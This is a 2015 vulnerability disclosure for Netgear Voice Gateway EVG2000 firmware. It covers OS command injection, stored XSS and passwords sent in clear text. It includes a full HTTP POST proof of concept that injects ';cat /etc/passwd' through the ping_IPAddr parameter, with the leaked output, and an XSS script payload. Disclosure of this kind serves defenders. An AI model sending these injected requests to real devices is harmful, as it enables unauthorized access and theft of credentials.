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Netgear Voice Gateway 2.3.0.23_2.3.23 XSS / Code Execution

Netgear Voice Gateway 2.3.0.23_2.3.23 XSS / Code Execution
Posted Oct 13, 2015
Authored by Karn Ganeshen

Netgear Voice Gateway with firmware version 2.3.0.23_2.3.23 suffers from command injection, insecurely configured passwords, and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | d00b6ccc7243ec76c13b6752206ecb24b7616afd8ccc5b5e94771fa108ece86e

Netgear Voice Gateway 2.3.0.23_2.3.23 XSS / Code Execution

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# Exploit Title: [Netgear Voice Gateway Multiple Vulnerabilities]
# Date: May 01, 2015 [No response from Vendor]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [www.netgear.com]
# Version: [Firmware Version: V2.3.0.23_2.3.23]


*Netgear Voice Gateway Multiple Vulnerabilities *

*Device Info *
Device Type: Netgear Voice Gateway EVG2000
Account Name: EVG2000
Firmware Version: V2.3.0.23_2.3.23

*1. Web application vulnerabilities OS Command Injection *

Netgear Voice Gateway EVG2000 is managed through a web management portal.
The application provides a Diagnostics feature that has four (4) options:

a.Ping an IP address
b.Perform a DNS Lookup
c.Display the Routing Table
d.Reboot the Router

Option 1 Ping an IP address was confirmed to be vulnerable to OS Command
Injection.

The ping_IPAddr parameter does not sufficiently validate input. It is
possible to use the semi-colon character (;) to inject arbitrary OS
commands and retrieve the output in the application's responses.

*PoC*

*HTTP POST Request*

POST /ping.cgi HTTP/1.1
Host: 1.3.3.7
User-Agent: blah
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Referer: http://1.3.3.7/DIAG_diag.htm
Authorization: Basic <b64_value_here>
Content-Length: 69

IPAddr1=1&IPAddr2=3&IPAddr3=3&IPAddr4=7&ping=Ping&ping_IPAddr=1.3.3.7;cat
/etc/passwd

*HTTP Response*
.....
<html-output>
root:<redacted_hash>:0:0:Linux User,,,:/root/:/bin/sh
nobody:*:0:0nobody:/:/bin/sh
admin:<clear-text-admin-pass>:0:0:admin:/:/bin/sh


*2. Web application vulnerabilities Stored Cross-Site Scripting (XSS) *

In the Services menu, the Service Table lists any existing Service-Port
mappings. A new service can be added with a payload value of
*<script>alert(xss)</script>* in the ServiceType parameter.

The application does not check any malicious input and accepted this new
entry. The JavaScript input was then returned unmodified in a subsequent
request for the Services Table Entries.

The web application lacks strict input validation and hence is vulnerable
to Stored Cross-Site Scripting attack.


*3. Application does not secure configured passwords (HTTP) *

Any & all configured sensitive information such as passwords & keys are not
secured properly. These are masked and only ***** is shown in the
corresponding fields.

This client-side restriction can easily be bypassed though. It is possible
to capture masked values via ‘Inspect Element’ and / or via an intercepting
proxy.

The application should mask/censure (*****) the passwords, keys and any
other crucial pieces of configuration and must not pass the values in
clear-text.


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